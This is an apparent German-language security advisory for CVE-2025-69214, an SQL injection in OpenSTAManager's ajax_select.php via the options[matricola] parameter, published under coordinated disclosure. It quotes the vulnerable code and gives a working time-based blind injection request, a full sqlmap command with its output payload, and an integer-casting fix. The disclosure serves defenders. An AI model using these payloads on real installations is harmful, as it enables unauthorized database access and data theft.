
CVE-2025-69214 - OpenSTAManager weist eine SQL-Injection in ajax_select.php (componenti-Endpunkt) auf.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-69214 |
| Schweregrad | HOCH |
| Advisory | Advisory anzeigen |
| Entdeckt von | Lukasz Rybak |
Im Endpunkt ajax_select.php besteht eine SQL-Injection-Schwachstelle bei der Verarbeitung des componenti-Vorgangs. Ein authentifizierter Angreifer kann über den Parameter options[matricola] schädlichen SQL-Code einschleusen.
Datei: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
$_GET['options']['matricola'] → $superselect['matricola']IN()-Klausel eingefügtManueller PoC (zeitbasierte Blind-SQLi):
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
SQLMap-Ausnutzung:
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
SQLMap-Ausgabe:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
Konvertieren Sie die Werte vor der Verwendung in SQL in Ganzzahlen:
Vorher:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
Nachher:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
Entdeckt von: Łukasz Rybak
Diese CVE wurde im Rahmen koordinierter Offenlegungspraktiken (Coordinated Vulnerability Disclosure) verantwortungsvoll gemeldet. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.